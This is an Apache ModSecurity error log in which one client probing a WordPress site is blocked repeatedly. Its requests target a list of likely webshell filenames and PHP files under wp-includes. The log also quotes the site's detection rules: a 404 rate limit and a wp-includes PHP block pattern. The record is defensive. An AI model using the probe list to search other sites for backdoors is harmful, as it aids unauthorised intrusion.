[Wed Jan 07 01:53:48.775618 2026] [:error] [pid 44905:tid 44990] [client 20.239.71.136:1995] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jju.php"] [unique_id "aV1MLLu7ufwWVst9EAtDUgAAAJY"]
[Wed Jan 07 01:53:49.690595 2026] [:error] [pid 44905:tid 44992] [client 20.239.71.136:51848] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jju.php"] [unique_id "aV1MLbu7ufwWVst9EAtDVwAAAJg"]
[Wed Jan 07 01:53:51.656765 2026] [:error] [pid 45012:tid 45034] [client 20.239.71.136:19117] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jju.php"] [unique_id "aV1MLxaMAxCuju1d0uZpaAAAANQ"]
[Wed Jan 07 01:53:52.301643 2026] [:error] [pid 45959:tid 45978] [client 20.239.71.136:42792] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rsnu.php"] [unique_id "aV1MMFajdn8P3hjgMYxibgAAAVA"]
[Wed Jan 07 01:53:53.212151 2026] [:error] [pid 44904:tid 44944] [client 20.239.71.136:25124] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rsnu.php"] [unique_id "aV1MMTtieuI1BJEZcveMtwAAAEM"]
[Wed Jan 07 01:53:53.930350 2026] [:error] [pid 45012:tid 45025] [client 20.239.71.136:42825] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rsnu.php"] [unique_id "aV1MMRaMAxCuju1d0uZpnQAAAMs"]
[Wed Jan 07 01:53:54.497063 2026] [:error] [pid 44904:tid 44957] [client 20.239.71.136:11745] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rsnu.php"] [unique_id "aV1MMjtieuI1BJEZcveMuwAAAFA"]
[Wed Jan 07 01:53:55.900870 2026] [:error] [pid 45012:tid 45015] [client 20.239.71.136:47125] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lc.php"] [unique_id "aV1MMxaMAxCuju1d0uZpowAAAME"]
[Wed Jan 07 01:53:56.910852 2026] [:error] [pid 44905:tid 44973] [client 20.239.71.136:47144] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lc.php"] [unique_id "aV1MNLu7ufwWVst9EAtDlQAAAIU"]
[Wed Jan 07 01:53:58.207255 2026] [:error] [pid 44903:tid 44923] [client 20.239.71.136:17894] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lc.php"] [unique_id "aV1MNthHqjs38zbkQPBxzwAAABA"]
[Wed Jan 07 01:53:59.802826 2026] [:error] [pid 44903:tid 44914] [client 20.239.71.136:15998] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lc.php"] [unique_id "aV1MN9hHqjs38zbkQPBx0gAAAAc"]
[Wed Jan 07 01:54:00.696889 2026] [:error] [pid 44904:tid 44949] [client 20.239.71.136:19119] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aV1MODtieuI1BJEZcveMxQAAAEg"]
[Wed Jan 07 01:54:01.274243 2026] [:error] [pid 45959:tid 45984] [client 20.239.71.136:47108] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aV1MOVajdn8P3hjgMYxifgAAAVY"]
[Wed Jan 07 01:54:02.131996 2026] [:error] [pid 45012:tid 45037] [client 20.239.71.136:11725] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aV1MOhaMAxCuju1d0uZptAAAANc"]
[Wed Jan 07 01:54:02.753618 2026] [:error] [pid 45959:tid 45965] [client 20.239.71.136:17873] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gfile.php"] [unique_id "aV1MOlajdn8P3hjgMYxigQAAAUM"]
[Wed Jan 07 01:54:03.920978 2026] [:error] [pid 44905:tid 44971] [client 20.239.71.136:3280] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gold.php"] [unique_id "aV1MO7u7ufwWVst9EAtDogAAAIM"]
[Wed Jan 07 01:54:04.794905 2026] [:error] [pid 45959:tid 45981] [client 20.239.71.136:17899] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gold.php"] [unique_id "aV1MPFajdn8P3hjgMYxihwAAAVM"]
[Wed Jan 07 01:54:05.685172 2026] [:error] [pid 45012:tid 45025] [client 20.239.71.136:42843] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gold.php"] [unique_id "aV1MPRaMAxCuju1d0uZpvAAAAMs"]
[Wed Jan 07 01:54:06.324601 2026] [:error] [pid 45959:tid 45978] [client 20.239.71.136:31379] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gold.php"] [unique_id "aV1MPlajdn8P3hjgMYxiiwAAAVA"]
[Wed Jan 07 01:54:07.251801 2026] [:error] [pid 45959:tid 45977] [client 20.239.71.136:51864] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aV1MP1ajdn8P3hjgMYxijgAAAU8"]
[Wed Jan 07 01:54:08.329753 2026] [:error] [pid 44905:tid 44972] [client 20.239.71.136:31382] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aV1MQLu7ufwWVst9EAtDrQAAAIQ"]
[Wed Jan 07 01:54:09.462534 2026] [:error] [pid 45012:tid 45023] [client 20.239.71.136:3265] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aV1MQRaMAxCuju1d0uZpxgAAAMk"]
[Wed Jan 07 01:54:09.908722 2026] [:error] [pid 44905:tid 44971] [client 20.239.71.136:3315] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/new.php"] [unique_id "aV1MQbu7ufwWVst9EAtDrwAAAIM"]
[Wed Jan 07 01:55:43.369809 2026] [:error] [pid 44903:tid 44913] [client 20.239.71.136:50524] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aV1Mn9hHqjs38zbkQPByjwAAAAY"]
[Wed Jan 07 01:55:44.594202 2026] [:error] [pid 45012:tid 45025] [client 20.239.71.136:24308] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aV1MoBaMAxCuju1d0uZqfAAAAMs"]
[Wed Jan 07 01:55:45.396664 2026] [:error] [pid 44903:tid 44919] [client 20.239.71.136:25040] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aV1ModhHqjs38zbkQPBykgAAAAw"]
[Wed Jan 07 01:55:47.182786 2026] [:error] [pid 35140:tid 35157] [client 20.239.71.136:1447] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/rtx.php"] [unique_id "aV1Mo3oQaIDFMbT-XMwojwAAAQ8"]
[Wed Jan 07 01:55:48.706107 2026] [:error] [pid 44903:tid 44928] [client 20.239.71.136:24287] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1index.php"] [unique_id "aV1MpNhHqjs38zbkQPBymgAAABU"]
[Wed Jan 07 01:55:49.578159 2026] [:error] [pid 44903:tid 44926] [client 20.239.71.136:4427] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1index.php"] [unique_id "aV1MpdhHqjs38zbkQPBymwAAABM"]
[Wed Jan 07 01:55:50.694964 2026] [:error] [pid 44904:tid 44941] [client 20.239.71.136:5962] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1index.php"] [unique_id "aV1MpjtieuI1BJEZcveNfAAAAEA"]
[Wed Jan 07 01:55:51.990370 2026] [:error] [pid 44903:tid 44927] [client 20.239.71.136:1890] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/1index.php"] [unique_id "aV1Mp9hHqjs38zbkQPByogAAABQ"]
[Wed Jan 07 01:55:52.575392 2026] [:error] [pid 44903:tid 44910] [client 20.239.71.136:1468] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs6.php"] [unique_id "aV1MqNhHqjs38zbkQPBypQAAAAM"]
[Wed Jan 07 01:55:53.478998 2026] [:error] [pid 44903:tid 44911] [client 20.239.71.136:5957] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs6.php"] [unique_id "aV1MqdhHqjs38zbkQPBypwAAAAQ"]
[Wed Jan 07 01:55:54.268801 2026] [:error] [pid 45959:tid 45979] [client 20.239.71.136:25046] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs6.php"] [unique_id "aV1Mqlajdn8P3hjgMYxjwgAAAVE"]
[Wed Jan 07 01:55:54.695995 2026] [:error] [pid 45012:tid 45015] [client 20.239.71.136:23490] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fs6.php"] [unique_id "aV1MqhaMAxCuju1d0uZq4AAAAME"]
[Wed Jan 07 01:55:56.381946 2026] [:error] [pid 45959:tid 45977] [client 20.239.71.136:23252] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aV1MrFajdn8P3hjgMYxj5AAAAU8"]
[Wed Jan 07 01:55:57.011374 2026] [:error] [pid 45959:tid 45967] [client 20.239.71.136:23510] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aV1MrVajdn8P3hjgMYxj5gAAAUU"]
[Wed Jan 07 01:55:58.604249 2026] [:error] [pid 44905:tid 44986] [client 20.239.71.136:19416] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aV1Mrru7ufwWVst9EAtEagAAAJI"]
[Wed Jan 07 01:55:59.191855 2026] [:error] [pid 44903:tid 44933] [client 20.239.71.136:1459] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clasa99.php"] [unique_id "aV1Mr9hHqjs38zbkQPByrQAAABg"]
[Wed Jan 07 01:56:00.185931 2026] [:error] [pid 45959:tid 45964] [client 20.239.71.136:5959] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fasx.php"] [unique_id "aV1MsFajdn8P3hjgMYxj6gAAAUI"]
[Wed Jan 07 01:56:01.478754 2026] [:error] [pid 45959:tid 45985] [client 20.239.71.136:25041] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fasx.php"] [unique_id "aV1MsVajdn8P3hjgMYxj7gAAAVc"]
[Wed Jan 07 01:56:03.401591 2026] [:error] [pid 44905:tid 44988] [client 20.239.71.136:6009] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fasx.php"] [unique_id "aV1Ms7u7ufwWVst9EAtEcgAAAJQ"]
[Wed Jan 07 01:56:04.892699 2026] [:error] [pid 35140:tid 35154] [client 20.239.71.136:5982] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fasx.php"] [unique_id "aV1MtHoQaIDFMbT-XMwoxQAAAQw"]
[Wed Jan 07 01:56:06.554845 2026] [:error] [pid 44903:tid 44913] [client 20.239.71.136:4451] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c4.php"] [unique_id "aV1MtthHqjs38zbkQPByvQAAAAY"]
[Wed Jan 07 01:56:08.024132 2026] [:error] [pid 44904:tid 44959] [client 20.239.71.136:23284] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c4.php"] [unique_id "aV1MuDtieuI1BJEZcveNlAAAAFI"]
[Wed Jan 07 01:56:09.292273 2026] [:error] [pid 45959:tid 45980] [client 20.239.71.136:24702] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c4.php"] [unique_id "aV1MuVajdn8P3hjgMYxj8wAAAVI"]
[Wed Jan 07 01:56:10.379378 2026] [:error] [pid 44905:tid 44989] [client 20.239.71.136:25068] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/c4.php"] [unique_id "aV1Muru7ufwWVst9EAtEewAAAJU"]
[Wed Jan 07 01:56:11.645512 2026] [:error] [pid 44905:tid 44971] [client 20.239.71.136:25031] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock1.php"] [unique_id "aV1Mu7u7ufwWVst9EAtEfQAAAIM"]
[Wed Jan 07 01:56:12.658983 2026] [:error] [pid 45012:tid 45018] [client 20.239.71.136:4430] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock1.php"] [unique_id "aV1MvBaMAxCuju1d0uZrBQAAAMQ"]
[Wed Jan 07 01:56:13.825330 2026] [:error] [pid 35140:tid 35161] [client 20.239.71.136:24640] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock1.php"] [unique_id "aV1MvXoQaIDFMbT-XMwozQAAARM"]
[Wed Jan 07 01:56:14.785566 2026] [:error] [pid 45959:tid 45972] [client 20.239.71.136:11576] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lock1.php"] [unique_id "aV1Mvlajdn8P3hjgMYxj_AAAAUo"]
[Wed Jan 07 01:56:15.856452 2026] [:error] [pid 45012:tid 45016] [client 20.239.71.136:24657] [client 20.239.71.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aV1MvxaMAxCuju1d0uZrDAAAAMI"]
[Wed Jan 07 01:56:16.585802 2026] [:error] [pid 45012:tid 45034] [client 20.239.71.136:1565] [client 20.239.71.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/js/codemirror/info.php"] [unique_id "aV1MwBaMAxCuju1d0uZrDQAAANQ"]
[Wed Jan 07 01:56:17.502320 2026] [:error] [pid 44905:tid 44984] [client 20.239.71.136:1572] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/en/gastenboek.php"] [unique_id "aV1Mwbu7ufwWVst9EAtEhgAAAJA"]
[Wed Jan 07 01:56:18.419824 2026] [:error] [pid 45012:tid 45029] [client 20.239.71.136:23087] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/en/gastenboek.php"] [unique_id "aV1MwhaMAxCuju1d0uZrEAAAAM8"]
[Wed Jan 07 01:56:19.527836 2026] [:error] [pid 44905:tid 44975] [client 20.239.71.136:24454] [client 20.239.71.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/en/gastenboek.php"] [unique_id "aV1Mw7u7ufwWVst9EAtEigAAAIc"]
